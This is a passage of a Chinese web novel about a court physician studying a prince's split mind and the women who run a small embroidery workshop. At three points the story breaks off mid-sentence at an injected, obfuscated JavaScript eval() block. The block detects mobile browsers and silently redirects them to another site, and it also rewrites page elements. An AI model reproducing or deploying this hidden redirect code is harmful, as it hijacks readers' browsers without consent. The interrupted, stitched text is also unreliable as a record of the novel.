“不是魂真离了身。”颜淞道,“是心神受过大伤,自己把自己分开了。有些事由这个自己记着,有些事由另一个自己挡着。若再细些,也可叫分魄。” 萍儿喃喃道:“分魄……” 这两个字太重。 重得像把一个好好的人说碎了。 颜淞又道:“但还不能定。臣今日听得不全,也未见过几次发作。明日我再来。” 萍儿忙问:“能治吗?” 颜淞看着她。 能治吗? 这三个字,他这些年听过很多回。 许多人问的时候,都以为病是一个东西,只要找对药,便能挖出来、洗干净、扔掉。可心里的病往往不是这样。它与一个人的经历长在一起,与受过的苦、见过的人、忍下的话长在一起。 若要治,便不是只治病。 还要碰那些生出病的地方。 颜淞只能道:“我先回太医院查一查旧案。” 萍儿听懂了。 他没有把握。 她向他行了一礼。 “有劳太医。” 颜淞回礼后,便跟着王府仆人往外走。 走到前院时,他远远看见明亲王陆棣铭站在廊下。 那人披着一件深色外袍,手里没有灯,身后也没有随从。他站在那里,像已经站了许久,又像只是偶然路过。 颜淞停步行礼。 “王爷。” 陆棣铭看着他。 “如何?” 颜淞斟酌道:“小王爷心神有异,臣还需再看。” 陆棣铭神色没有什么变化。 他似乎早料到会听见这样的回答。 “会伤人吗?” 颜淞道:“目前未见伤人之兆。” 陆棣铭点点头。 他问的是会不会伤人,不是会不会自伤,也不是能不能治好。若是不懂内情的人听了,也许会觉得这个父亲冷淡。 可颜淞却在那句话里听出一点别的东西。 陆棣铭问得太克制。 一个真正不在乎的人,连这点克制都不必有。 颜淞想了想,道:“王爷也不必太过忧心。小王爷今日虽有异状,却并非全然昏乱。” 陆棣铭淡淡道:“本王没有忧心。” 颜淞没有接话。 廊下风冷。 陆棣铭又道:“明日你照常来。需要什么,只管向府中取。” “是。” 颜淞告辞离开。 走出明亲王府时,夜已经深了。 顺天城的街上很静。雨后寒意未散,石板路上还有积水,车轮压过去,发出沉闷的声响。颜淞坐在车里,没有放下车帘。 他脑子里一直回响着陆云逸那一句话。 名字没有用。 一个自幼生在王府、被皇帝看重、被众人称作小王爷的人,说名字没有用。 这不像陆云逸会说的话。 至少不像方才讲林鸯鸯时那个陆云逸会说的话。 颜淞回到太医院时,值夜的小吏正打着瞌睡。见他回来,忙起身问安。 颜淞没有回自己的值房,径直去了后头藏旧案的小屋。 那屋子常年不开窗,有一股纸张、药草和灰尘混在一起的味道。架上堆着许多旧医案,有宫中的,也有前代太医留下的。颜淞点了灯,一架一架翻过去。 他要找的不是普通医案。 是他师傅留下的手札。 颜淞的师傅一生在太医院里不算最显赫,却是太医院里少有真正肯听病人说话的人。他死后,留下几箱手札,其中很多写的是疑难心病。有些病名听着古怪,案子也零散。年轻太医多不爱看,觉得那些东西不如方药脉案有用。 颜淞却一直收着。 只是许多年过去,有些手札已经发黄,有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这病案若要继续往下走,恐怕还有另一个名字,在等着他说出来。 他不知道那个名字是什么。 但他隐隐觉得,那个名字不会温柔。 夜更深了。 太医院外,宫城沉默地伏在黑暗里。远处传来更鼓声,一下一下,敲得人心里发空。 颜淞合上《离魂杂录》,把它放进药箱。 明日,他还要去明亲王府。 去见那个不愿说话的人。 去问一问,他到底是谁。 …… 第二日天刚亮,颜淞还没有入睡多久,便又被太医院的小吏叫醒。 明亲王府来人传话,说小王爷醒了。 颜淞披衣起身时,窗外的天色还是灰的。昨夜看过的《离魂杂录》就放在案边,薄薄一本册子,被他翻得边角微卷。他临出门前,又看了一眼自己抄下来的几条治法。 勿急问旧创。 勿当众斥其妄。 若其不语,观其惧何物、拒何人、近何处。 他把那几页纸收进药箱,坐车去了明亲王府。 听雪斋外,萍儿已经等着。她一夜未睡好,眼下发青,见颜淞来了,忙迎上来,声音压得很低。 “颜太医,他醒来后又像好了。” 颜淞问:“可还记得昨夜?” 萍儿摇头。 “我问他,他只说头疼,记不大清。他还问我,昨日是不是说到春水绣坊开张了。” 颜淞听完,没有立刻说话。 陆云逸昨夜那一句“名字没有用”,仍在他耳边。可若此刻陆云逸又成了那个温和有礼、能清楚讲述旧事的小王爷,那么昨夜那个人究竟去了哪里? 是病。 还是藏起来了? 颜淞进屋时,陆云逸正坐在窗边。 他穿着干净的常服,头发束得整齐,面前放着半碗清粥。听见脚步声,他抬起头,神情有些疲惫,却仍向颜淞点了点头。 “颜太医。” 声音平和。 与昨夜那个不肯说话、防备所有人的人,判若两人。 颜淞行礼:“殿下今日可还头疼?” “有些沉。”陆云逸道,“昨夜似乎睡得不好。” 颜淞看着他:“殿下可记得昨夜发生了什么?” 陆云逸想了想,眉头微蹙。 “不大记得。只觉得像做了一个很长的梦。” 萍儿站在旁边,手指紧紧攥着袖口。 颜淞没有继续追问。 他取出纸笔,道:“殿下若觉得累,今日可以少说些。” 陆云逸笑了笑。 “昨日说到春水绣坊刚有了些起色。若再不说下去,倒像我故意吊着太医。” 颜淞道:“看病本就不是一日的事。” 陆云逸看向窗外。 昨夜的风把院里的枯叶吹得满地都是。天色尚早,树枝上挂着薄薄的霜,太阳还未出来,整个院子都显得冷清。 过了一会儿,他慢慢开口: “春水绣坊起初只是个铺子。后来,才慢慢像一个归处。” 颜淞的笔落到纸上。 陆云逸说: “那时候我还不明白。一个人若只是想活,给她一口饭,也许就够了。可一个人若想过日子,就会有许多牵挂。怕租金,怕病,怕欠账,怕工钱发不出去,怕今日收下的人明日又没地方去。” 他顿了顿。 “林鸯鸯便是在那些怕里,一点一点活过来的。” 6. 绣坊灯下各沉浮 春水绣坊刚开张的时候,只有秦嫂、林鸯鸯和两个临时找来的妇人。 那两个妇人做活不慢,但心不定。一个做了五日,嫌工钱少,去了别家;另一个听说春水绣坊是新铺子,怕撑不久,领完头一回工钱便不来了。 秦嫂气得骂了半日。 “人还没站稳呢,先挑起地方来了。她们倒是金贵!” 林鸯鸯倒没有生气。 她把剩下的线一束一束理好,只说:“人往稳处走,也是常情。” 秦嫂瞪她:“你倒会替人说话。” “我不是替她们说话。”林鸯鸯道,“只是我们这铺子确实还不稳。人家怕,也不算错。” 秦嫂被堵得没话,只能转头去骂右边那个修伞匠。修伞匠那日倒也无辜,只不过又把几根竹篾放得离春水绣坊门口近了些。 可生意终究要做。 有客人来订东西,就要有人做活。秦嫂能算钱、能吵架,却拿针线不成。林鸯鸯手巧,可一个人做不了多少。于是她们只能继续找人。 第一个真正留下来的,是刘娘子。 刘娘子三十多岁,住在城西一条窄巷里。从前在广陵一家大绣庄做过活,针脚稳,手也快。她年轻时本是庄里数得上的绣娘,后来母亲病了一场,家里欠了债,她便常常要早些回家熬药、煮饭、照看老人。 大绣庄最怕这样的人。 活做得好是一回事,能不能日日坐满时辰,又是另一回事。 掌事的嫌她误工,先是扣钱,后来干脆不用她了。 刘娘子来春水绣坊那日,穿着一件洗得发白的旧衣,袖口磨出了毛边。她话不多,进门后先看铺子,又看林鸯鸯,最后目光落在桌上的丝线上。 秦嫂问:“会绣什么?” 刘娘子道:“小件都能做。大幅的也做过,只是做得慢。” 林鸯鸯拿了一块碎布,让她绣一片叶子。 刘娘子没有多问,坐下就绣。 她的手并不白,指节有些粗,指腹上全是常年拿针留下的硬茧。可针到了她手里,就像有了路。那片叶子很快成形,不算多么灵巧华贵,却平整、干净,针脚细密。 林鸯鸯看完,道:“你愿意留下吗?” 刘娘子问:“工钱几时结?” “十日一结。若接了赶活,另算。” 刘娘子又问:“我娘病着,有时要早些回去。” 秦嫂在旁边道:“活做完了便回。活没做完,也不能扔下就走。” 刘娘子点头。 “这是自然。” 她就这样留下了。 后来林鸯鸯才知道,刘娘子的母亲已经卧床半年,家里药钱每月都压得她喘不过气。她不是没去别的绣坊问过,只是那些地方嫌她身上麻烦多,不肯收。春水绣坊是新铺子,也缺人,反倒给了她一条缝。 刘娘子做活很安静。 每日来了,先洗手,再坐到窗边。她不多说闲话,也不爱抱怨。只是偶尔做到一半,会忽然停一停,像想起家中炉子上的药。 秦嫂看见过一次,没好气道:“你若惦记,就早些做完早些走。坐在这儿发呆,药也不会自己煎好。” 刘娘子低头应了。 那日她比平时多做了两只香囊。 第二个留下的,是周婶。 周婶年纪更大些,快五十了。她年轻时在一户富贵人家做针线,专给女眷裁衣、锁边、补绣。后来那户人家搬去别处,她没跟去,便回家靠接零活度日。 她有一个儿子。 儿子娶妻后,家里便不大容得下她。儿媳倒也没有明着赶,只是每日吃饭时少摆一双筷子,烧水时少烧一碗,家中稍有争执,便说:“娘年纪大了,该享清福,何苦总看我们不顺眼。” 享清福这话,说得好听。 其实就是嫌她没用。 周婶自己出来找活,找了几家,都嫌她眼神不如年轻姑娘好。 她来春水绣坊时,秦嫂也嫌她。 “你这年纪,能绣什么?” 周婶并不生气,只把袖子挽起来,道:“我绣不了牡丹凤凰,可你若让我锁一百方帕子,十个年轻姑娘也未必比我齐整。” 秦嫂不信。 林鸯鸯便递给她一块布。 周婶坐下,穿针,低头。她眼神确实不如年轻时好,动作也慢些,可手稳。那条边锁出来,平平直直,几乎没有一处乱线。 秦嫂拿起来看了半天,嘟囔道:“倒还成。” 周婶笑了一声:“我说了,我绣不了富贵花,却能做收尾的活。人老了,也不是全没用。” 林鸯鸯听见这句话,心里忽然动了一下。 她留下了周婶。 从那以后,周婶负责裁布、锁边、理线,有时也带新人。她嘴碎,爱念叨,最常骂阿青,说这孩子的线头剪得像狗啃。 阿青就是第三个留下的人。 阿青才十三岁。 她不是正经绣娘,只会一点粗针线。她家在城外,兄弟姐妹多,父母嫌她吃饭,又嫌她年纪渐大,想把她送给一个鳏夫做小。那人年纪比她父亲还大,前头死了两个女人。 阿青吓坏了。 成亲前一日,她哭着跑出来,躲到一个相熟婆子家。那婆子认识秦嫂,便把人领到春水绣坊来。 秦嫂一见她就皱眉。 “这么小,能做什么?” 阿青低着头,手指攥着衣角,声音细得像蚊子。 “我能学。我吃得少。” 秦嫂还想说话,林鸯鸯却看着阿青的手。 那双手很小,指甲边有被线磨出的红痕。年纪小,却不是没做过活的手。 林鸯鸯问:“你以前做过针线?” 阿青点头。 “家里弟弟妹妹的衣裳,都是我补。” “会认字吗?” 阿青摇头。 “会算钱吗?” 阿青又摇头。 秦嫂道:“那更不能要了。” 阿青脸一下白了。 林鸯鸯却道:“先留下试十日。不算正式绣娘,先跟着周婶学锁边。” 阿青抬起头,像是不敢相信。 “真的?” 秦嫂叹气:“留下可以,哭哭啼啼不行。我们这里没空天天哄人。” 阿青忙擦眼泪。 “我不哭。” 可她说完,眼泪还是掉了下来。 周婶拉过她的手看了看,道:“哭吧,今日哭完,明日干活。针线不认眼泪,哭多了看不清。” 阿青一边哭,一边点头。 后来她果然学得慢。 锁边总歪,剪线总留尾巴。周婶常拿尺子轻轻敲她手背,说:“不是打你,是打这歪线。” 阿青怕她,却也亲近她。 有时秦嫂在前头接待客人,她便缩在后头偷笑。笑得太明显,被秦嫂听见,秦嫂便转头骂她:“线头剪完了吗?笑能当饭吃?” 阿青立刻低头剪线。 可过一会儿,又偷偷笑。 春水绣坊有了这三个人,才真正像一间小作坊。 秦嫂管前头。 林鸯鸯管花样、布料和出货。 刘娘子绣小件。 周婶锁边、裁布、带阿青。 阿青学得慢,却肯坐得住。 屋子不大,几个人坐进去,便显得挤。夏日热时,后屋闷得厉害,刘娘子常用帕子擦汗,周婶嫌阿青挡风,秦嫂嫌所有人都碍事。可到了傍晚,几个人围在油灯下数钱、理线、听李老先生念账,屋里便慢慢有了一种说不出的气息。 不是富贵。 也不是安稳。 只是活人在一起过日子的气息。 春水绣坊又过了一段日子,秦嫂从河边带回来一个女人。 那女人姓何,二十七八岁。丈夫死了,被婆家赶出来,娘家也不肯收。她在河边坐了一夜,衣裳下摆被露水打湿,脸色灰得像一张旧纸。 秦嫂清晨去买菜时看见她,以为她要投河,当街骂了她一顿。 “要死也别死在河里!捞起来还要脏了人家的船!” 何娘子被骂得愣住。 秦嫂骂完,又把人带回了铺子。 何娘子不会绣花。 她手粗,针拿不稳,一坐久了便腰疼。秦嫂说这样的人留在绣坊做什么,吃白饭吗? 何娘子低着头,眼里一点亮都没有。 林鸯鸯问她:“你会做饭吗?” 何娘子怔了一下,点头。 “会。” “会洗布吗?” “会。” “会晾线吗?” “可以学。” 于是她留了下来,给铺子里的人做饭,顺便帮着洗布、晾线、打扫后屋。 秦嫂嘴上嫌弃,吃饭时却给她多盛了一碗。 “手艺还行。”她说。 何娘子低头笑了笑,眼泪掉进碗里。 秦嫂皱眉道:“哭什么?饭都咸了。” 何娘子忙擦眼泪。 那天晚上,春水绣坊后屋第一次有了一锅热汤。 从前几个人各自吃各自的。秦嫂有时从外头买炊饼,刘娘子带冷饭,周婶凑合着吃些剩菜,阿青则总说自己不饿。 何娘子来了以后,每日傍晚会煮一锅东西。好时是菜粥,差时是面片汤。料不多,但热。 阿青第一次捧着热汤坐在小凳上时,小声说:“这里像家。” 秦嫂立刻道:“不像。家哪有这么多人讨工钱?” 众人都笑。 何娘子也笑。 笑着笑着,又掉了眼泪。 周婶拍拍她:“行了,汤没咸,别哭了。” 林鸯鸯坐在一旁,看着这些人。 她没有说话。 可陆云逸看见,她那一晚吃得比平日多了些。 后来,春水绣坊又陆续来了几个人。 有一个被丈夫打伤的妇人,来求一日短工,只为攒钱给儿子买药。 有一个茶楼里烫伤了手的小丫头,端不了茶,跑来问能不能学剪线头。 还有醉春楼里托人送来的两个荷包。 送荷包的是个卖胭脂的小贩。小贩只说,有人想让春水绣坊照着这个样子做些活,工钱少些也成,只要能给现钱。 秦嫂一听醉春楼,脸色便不好。 “那地方的人,沾上麻烦。” 林鸯鸯拿着荷包,沉默了很久。 陆云逸看着她,问:“你想接?” 林鸯鸯道:“那里头也有想活的人。” 这句话,她说得很轻。 秦嫂听见了,张了张嘴,最后没有骂出来。 她把荷包拿过去翻了翻,道:“针脚还成,就是线不好。让她们做小件吧,别急着做大活。” 林鸯鸯点头。 从那以后,春水绣坊暗中接了一些醉春楼女子做的小件绣活。她们不能出楼,便让人送来。工钱不多,但比没有强。 陆云逸一开始有些担心。 “若被老鸨知道,会不会牵连她们?” 林鸯鸯道:“所以不能多,也不能固定。今日这个做,明日那个做。工钱不要一次给太多,东西也不要太显眼。” 她说这些时,语气很平静。 陆云逸却听出她的熟练。 一个人若能这样熟练地避开危险,说明她从前一直活在危险里。 这件事让陆云逸心中生出一种说不出的感觉。 他原以为自己救了林鸯鸯。 可慢慢地,他发现林鸯鸯也在救别人。 而且她比他更知道该怎样救。 因为她知道那些女子怕什么,缺什么,能走多远,不能走到哪里。 陆云逸能给她们一条路的开头。 林鸯鸯却知道那条路上哪里有坑。 春水绣坊不是善堂。 这是林鸯鸯说的。 有一日,何娘子想把河边认识的一个无处可去的妇人带回来。那妇人身上带着病,走路都不稳。何娘子心软,想让她在后屋住几日。 秦嫂不同意。 “我们这里又不是庙。” 何娘子急了:“可她没地方去。” 秦嫂道:“没地方去的人多了。都来,我们吃什么?” 何娘子眼圈红了。 林鸯鸯让何娘子先给那妇人一碗热汤,又给了几十文钱,让她去城西一间收留病妇的尼庵。 何娘子有些不忍。 “林姑娘……” 林鸯鸯看着她,声音不高,却很清楚。 “春水绣坊不能收所有人。” 屋里安静下来。 林鸯鸯继续道:“收了她,若她病重,我们照顾不了。若传给铺子里的人,这里也撑不下去。撑不下去,刘娘子没工钱,周婶没饭吃,阿青会被家里人抓回去,醉春楼那些暗中接活的人也没了指望。” 何娘子低下头。 秦嫂这次没有说话。 林鸯鸯道:“能帮的帮,不能帮的,不能硬帮。硬帮不是善心,是把所有人一起拖下水。” 陆云逸站在门边,听见这句话,忽然觉得心里一震。 他想起自己刚救林鸯鸯时,便是一腔热血,觉得只要出手,就能把人从苦里拉出来。 可林鸯鸯已经懂得,有些救人不是把手伸出去那么简单。 手若伸得不稳,会连自己和身后的人一起摔下去。 那天以后,何娘子沉默了很久。 晚上做饭时,她给每个人多舀了一勺汤。 秦嫂看了她一眼,难得没有骂。 两个月后,春水绣坊已经能勉强维持。 不是赚了很多钱,只是不再日日亏损。秦嫂算过一遍,说若再稳一个月,便能按时付租、付工钱,还能留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆云逸看向她。 林鸯鸯没有抬头。 “你若一直留在这里,旁人迟早会问你与这铺子是什么关系。到时候对我不好,对公子也不好。” 秦嫂数钱的手顿了一下,又装作没听见。 李老先生也低头写账,只是笔慢了些。 陆云逸沉默片刻,道:“我走后,你们能撑住吗?” 秦嫂忍不住道:“公子这话就小看人了。你留下银子,自然是帮了大忙。可这铺子开到今日,也不是只靠你一个人。” 说完,她似乎觉得自己话重了些,又补了一句:“当然,你是大恩人。” 林鸯鸯笑了一下。 “秦嫂说得对。公子救了我,也帮了我们。可若以后每一步都要靠公子,这铺子便永远不是我们的。” 陆云逸听着这话,心里有些酸涩,也有些欣慰。 他没有再说留下。 临走前,他把一只小匣子交给林鸯鸯。 “这里头还有些银票。不到万不得已,不要动。若遇到官府或地痞刁难,就拿我的名帖去钱庄找人。” 林鸯鸯接过匣子,却没有立刻收下。 “公子已经给得够多了。” “这不是给你一个人的。” 林鸯鸯明白他的意思。 这是给春水绣坊的,也是给那几个女子的。 她把匣子收好,低声道:“我会记清楚。” 陆云逸又取出几张折好的纸。 “我每到一地,会把落脚处写给你。你若有事,可以让李老先生代写回信。若想学字,我也可以在信里夹字样给你。” 林鸯鸯接过那些纸。 纸上写着几个很大的字。 水。 活。 甜。 她看到最后一个字,手指微微一颤。 “这个字,是我的?” 陆云逸道:“是。” 她轻轻摩挲着那张纸边,像那不是一张寻常纸,而是一件失而复得的旧物。 “我未必学得会。” “慢慢学。一个字一个字地学。” “若写得不好呢?” “写得不好,也是你自己写的。” 林鸯鸯没有再说话。 她把那几张纸收进怀中。 陆云逸离开广陵那日,是个阴天。 春水绣坊没有挂出送别的样子。秦嫂照常开门,刘娘子照常理线,周婶照常骂阿青手笨,何娘子在后头煮粥,李老先生坐在隔壁门口糊纸钱。 林鸯鸯站在铺子门口。 她没有送他到城外。 这是她自己说的。 “我如今是春水绣坊的人。人若走得太远,反倒让别人看出不寻常。” 陆云逸明白她的意思。 他上马之前,回头看了一眼。 林鸯鸯穿着素衣,头发梳得整齐。她身后挂着“春水绣坊”的招牌,秦嫂正在同客人说话,阿青探头看了一眼,又被周婶拽回去。 这一切都很寻常。 寻常得像从来没有醉春楼,没有那一夜的喊价,也没有一个叫甜甜的小女孩在六岁时被人卖掉。 可陆云逸知道,不是没有。 只是她们终于在那些旧事之外,又生出了一点新的日子。 林鸯鸯向他行了一礼。 “公子一路平安。” 陆云逸点头。 他想说很多话,最后只说了一句:“保重。” 马蹄声渐渐远了。 林鸯鸯站在门口,看着他的背影消失在街角,才转身回铺子。 秦嫂看了她一眼。 “走了?” “走了。” “那就干活吧。”秦嫂把一只香囊塞到她手里,“客人催着要呢。” 林鸯鸯低头看着那只香囊,忽然笑了一下。 “好。” 那天夜里,她在灯下临了很久的字。 她不会握笔,手指僵得厉害。墨沾多了,落在纸上便糊成一团;墨沾少了,字又断断续续,像喘不上气的人。 秦嫂在旁边看了一会儿,觉得那一笔一画比绣花还叫人头疼,便摇头去数铜钱。 “你慢慢写吧。”秦嫂说,“我先把今日的账数清。这个我还比你强些。” 林鸯鸯笑了一下。 她写了一整夜。 最后,纸上勉强留下一个歪斜的字。 甜。 她看着那个字,忽然觉得眼眶发热。 写得实在不好。 可再不好,也是她自己的。 7. 千里信来字初瘦 陆云逸离开广陵后,先到了润州。 从广陵往南,水路比陆路更安稳。春末的江南,河道里船多,岸上柳树也多。船从窄河里慢慢行过去,两岸的人家低低矮矮,屋檐下挂着鱼干和旧衣裳。妇人蹲在河边洗菜,小孩光着脚在青石阶上跑,卖糖水的小贩摇着铃,从桥下慢慢走过。 陆云逸坐在船头,回头望了一眼来路。 广陵已经看不见了。 可他总觉得,自己还没有真正离开那座城。 春水绣坊的招牌、秦嫂数钱的声音、李老先生念账时拖长的腔调、阿青被周婶训斥时偷偷笑的样子,还有林鸯鸯站在铺子门口向他行礼的身影,都还在他眼前。 他从前也离开过许多地方。 离开王府,离开京城,离开驿站,离开山寺,离开热闹的集市。那些离开大多轻快。年轻人出门,总觉得前头还有许多路,后头的一切不过是路过。 可这一次不同。 他像把一小块心落在了广陵。 船到润州时,已近黄昏。 润州靠江,风比广陵硬一些。江面宽阔,船帆远远近近,像许多灰白的鸟。码头上挑夫往来,肩上担着米、布、盐、酒,脚步沉重,喊声却很亮。 陆云逸在城中住了下来。 住下的第一晚,他便给林鸯鸯写了第一封信。 信上先写自己平安到了润州,又写自己暂住在城南临江客栈,若她回信,便托广陵通兑钱庄转至润州城南临江客栈。 他写得很清楚。 因为林鸯鸯不识字,信多半要由李老先生念给她听,再由李老先生代写。地址若写得含糊,信便可能送不到。 写完落脚处,他才写润州。 他说这里江风大,码头人多,卖鱼的妇人嗓门比秦嫂还亮。写到秦嫂时,他停了一下,忽然笑了。 他想了想,又写: 秦嫂若听见这话,大约要同那妇人争一争谁嗓门更高。 写完这句,他另取一张小纸,写了三个字。 “水”。 “活”。 “甜”。 这是他离开时已经给过林鸯鸯的字样。他又重新写了一遍,写得更大些,笔画也放慢了些。末了,在旁边写: 不必急着写好。先认得它们。 信送到通兑钱庄时,掌柜问:“公子要在润州停留多久?” 陆云逸道:“等广陵回信到了再走。” 掌柜有些意外。 “那若信迟了呢?” 陆云逸道:“便多等几日。” 其实他原本没有打算在润州待这么久。 可他想等林鸯鸯的第一封回信。 人在路上,总要有一个能等的东西。否则山水再多,也只是山水。 润州城里有座旧寺,香火不算旺,却清净。陆云逸常去那里坐一会儿。有时也去码头,看船夫卸货,看小贩讨价还价,看江边的盐商和牙人说话。 他慢慢发现,一座城最热闹的地方,往往不是官署,也不是富贵人家的园子,而是码头、市场、桥头、米铺门前。 那里有真正的日子。 贵人说民生,常常说得很大。 百姓说日子,却都很小。 今日米贵了一文,明日鱼便宜了半篮。孩子咳嗽要不要请郎中,老人冬衣还能不能再补一年,船晚到半日会不会误了工钱。 这些小事堆在一起,就是人的一生。 陆云逸从前读书时,也知道“民生”二字。可那时民生是折子里的话,是先生口中的道理。到了润州码头,看见一个挑夫因为少得三文钱同牙人吵得脸红脖子粗,他才忽然明白,三文钱也能压弯一个人的背。 二十多日后,林鸯鸯的信到了。 信封上的字不是她写的,是李老先生的手笔。端正,慢,却稳。 陆云逸拆信时,手指竟有些紧。 信中说,春水绣坊尚好。 秦嫂仍在前头管门面,前几日同修伞匠又吵了一架,原因是修伞匠的竹篾又越过了门口。刘娘子的母亲病情时好时坏,林鸯鸯让她把一部分活带回家做,秦嫂嘴上不满,实际并未少算她工钱。周婶眼神不太好,近来只做锁边和裁布,阿青锁边已经比从前齐整许多,只是剪线头仍爱留尾巴。何娘子煮的菜粥越来越稠,秦嫂说她浪费米,众人却都吃得干净。 信写到最后,李老先生代笔道: 林姑娘说,春水绣坊还撑得住,请公子放心。 信末夹了一张小纸。 纸上歪歪扭扭写着一个字。 “甜”。 只写了一个。 写得很丑。 左边歪,右边斜,笔画有些散,像一个刚学走路的孩子。 可陆云逸看着那个字,看了很久。 这是她自己写的。 不是李老先生写的。 也不是秦嫂说的。 是林鸯鸯,不,是甜甜,一笔一画,把一个被夺走了很多年的名字,重新放回纸上。 陆云逸把那张小纸夹进自己的书里。 次日,他离开润州,往丹阳去。 …… 到了丹阳以后,陆云逸仍是先找住处。 他住在城东一家小客栈里,客栈不大,但离市集近。安顿下来后,他第一件事便是给广陵写信。 信上先写: 我已到丹阳,暂住城东青石客栈。若回信,仍托通兑钱庄转来此处。 写完地址,他才写丹阳。 丹阳比润州小些,城里有许多做木器和竹器的人。街边常能听见刨木头的声音,一下一下,很有节奏。城外有大片桑田,蚕农忙着采桑,妇人把桑叶背在竹篓里,叶片青得发亮。 陆云逸在那里看了几日桑田。 他从前只知道丝绸贵,却很少想过丝从哪里来。蚕房里闷热,蚕吃桑叶的声音细细密密,像雨落在纸上。养蚕的妇人手指很快,挑蚕、换叶、清席,一刻也停不下来。 那妇人告诉他,今年桑叶长得不错,可丝价未必好。 “价钱不是我们说了算。”她说,“收丝的人说低,就低。我们不卖,蚕茧放坏了,更不值钱。” 陆云逸问:“官府不管?” 妇人笑了笑。 “公子是外地人吧。” 她没有再说。 陆云逸站在桑田边,忽然想起春水绣坊。 林鸯鸯买丝线时,怕价高;蚕农卖丝时,怕价低。中间不知多少商人、牙人、税卡、铺户,每个人都从里头抽一点。到最后,一方帕子、一只香囊,看着只是小物,背后却牵着许多人的手。 第二封信在丹阳等到了。 这一次,信比上回厚些。 李老先生写道,春水绣坊接了几单帕子,虽然钱不多,但客人开始回头。秦嫂学会了记几个客人的喜好,虽不识字,却记得极牢。刘娘子的母亲冬咳未愈,需要药钱,林鸯鸯预支了她半月工钱,但让李老先生在账上记清。周婶开始教阿青裁布,阿青剪坏了两块料子,被秦嫂骂哭了。何娘子把坏布料缝成了抹布,说总不能全丢。 信末,李老先生写: 林姑娘问,若有人欠账迟迟不还,是不是该上门催?秦嫂说该骂,林姑娘说先问缘由。二人争执不下,请公子评理。 陆云逸看得笑起来。 他回信道: 小欠可问,大欠须催。若是熟客一时周转不开,可缓几日;若是故意拖欠,一次纵容,日后人人都来拖。秦嫂说得不全错,林姑娘也不全错。要看人。 写完这几句,他自己先怔了一下。 要看人。 这三个字,说起来简单,却比许多书上的道理都难。 他又在信里写丹阳的桑田,写蚕农,写丝价不是由养蚕人决定。最后夹了几个字样: “账”。 “欠”。 “信”。 他写道: 账要明。欠要清。信,不只是书信,也是让人下次还愿意来的东西。 这封信寄出去后,他没有等林鸯鸯再回。 他们约好的,原本就是他每到一处写一封,林鸯鸯收到后回一封。等回信到了,他便继续走。 于是陆云逸收拾行囊,去了毗陵。 …… 毗陵水网密,城中桥多。 陆云逸到后,仍旧先住下,再写信。 信中写明自己暂居毗陵西桥边的顺兴客栈,又写一路所见。 这里的商铺比丹阳热闹,米行、布庄、茶肆都挤在河边。陆云逸在一家茶铺听了几日闲话,听客商谈米价,也听船户骂官卡。 有个船户说,从广陵到姑苏,一路水好走,人难走。 “水不要钱,人要钱。过一处卡,交一回钱。船还没到地方,货先瘦了一半。” 众人都笑。 陆云逸却没有笑。 他慢慢明白,世上的路并不是有了河、有了桥、有了官道,便算通了。有时候真正堵住人的,不是山水,而是人设下的一道道门槛。 第三封信来时,春水绣坊已经比前两个月稳了一些。 信里说,阿青终于能独自锁一方帕子,周婶嘴上嫌弃,背地里却把那方帕子收起来,逢人便说是自己教出来的。秦嫂因为一个客人赖账,真去人家门口站了半个时辰,最后把钱要回来了。刘娘子的母亲病情好些,能下地走几步。何娘子开始每日给铺子里煮一锅热汤,秦嫂嫌她费柴,却每次都喝两碗。 信里还有林鸯鸯自己写的几个字。 不是一句话。 只是几个散乱的字。 “甜”。 “水”。 “账”。 “欠”。 “安”。 其中“安”字写得尤其不好,宝盖头大得像要把下面“女”压塌。 李老先生在旁边代她写了一句: 林姑娘说,安字难写。 陆云逸看着那句,许久没有动。 安字难写。 可世上难的,又何止一个字。 他在毗陵回信时,写了官卡,写船户,也写茶铺里那些人的牢骚。信末,他又写: 安字难写,不必急。 他想了想,又添了一句: 许多人写了一辈子,也未必真写明白。 写完这封信,他才离开毗陵,去无锡。 …… 无锡城外湖水开阔,水面上时常有渔船。 陆云逸到无锡时,正逢清晨起雾,远远看去,天和水像连在一起。他在城中住下,照旧先给林鸯鸯写信,写明自己暂住在北街的湖云客栈。 无锡富户不少,园子修得精致,墙里墙外仿佛两个世界。 墙里有琴声,有花,有茶。 墙外有挑粪的人,有卖鱼的人,有等工的人。 陆云逸在无锡停留时,曾被一个富商请去园中赏荷。那人谈起民生,也会叹息,也会说朝廷该轻徭薄赋。可席间一道鱼脍没吃完,撤下去时,陆云逸忽然想起润州码头上那个因为三文钱争得脸红的挑夫。 他那一日没有吃多少。 从园子出来时,他看见墙根下坐着一个小姑娘,手里拿着半块冷饼。她大约是某个仆妇的女儿,见他衣着好,立刻站起来,低着头不敢看他。 陆云逸走过几步,又停下。 他想问她几岁,想问她识不识字,想问她将来想做什么。 可最后,他什么都没有问。 他忽然觉得,自己问得起,别人未必答得起。 第四封信来得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520932|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比前几封慢了几日。 陆云逸拆开时,心里已经隐隐有些挂念。 好在信中仍是平安。 只是春水绣坊遇到了一些麻烦。 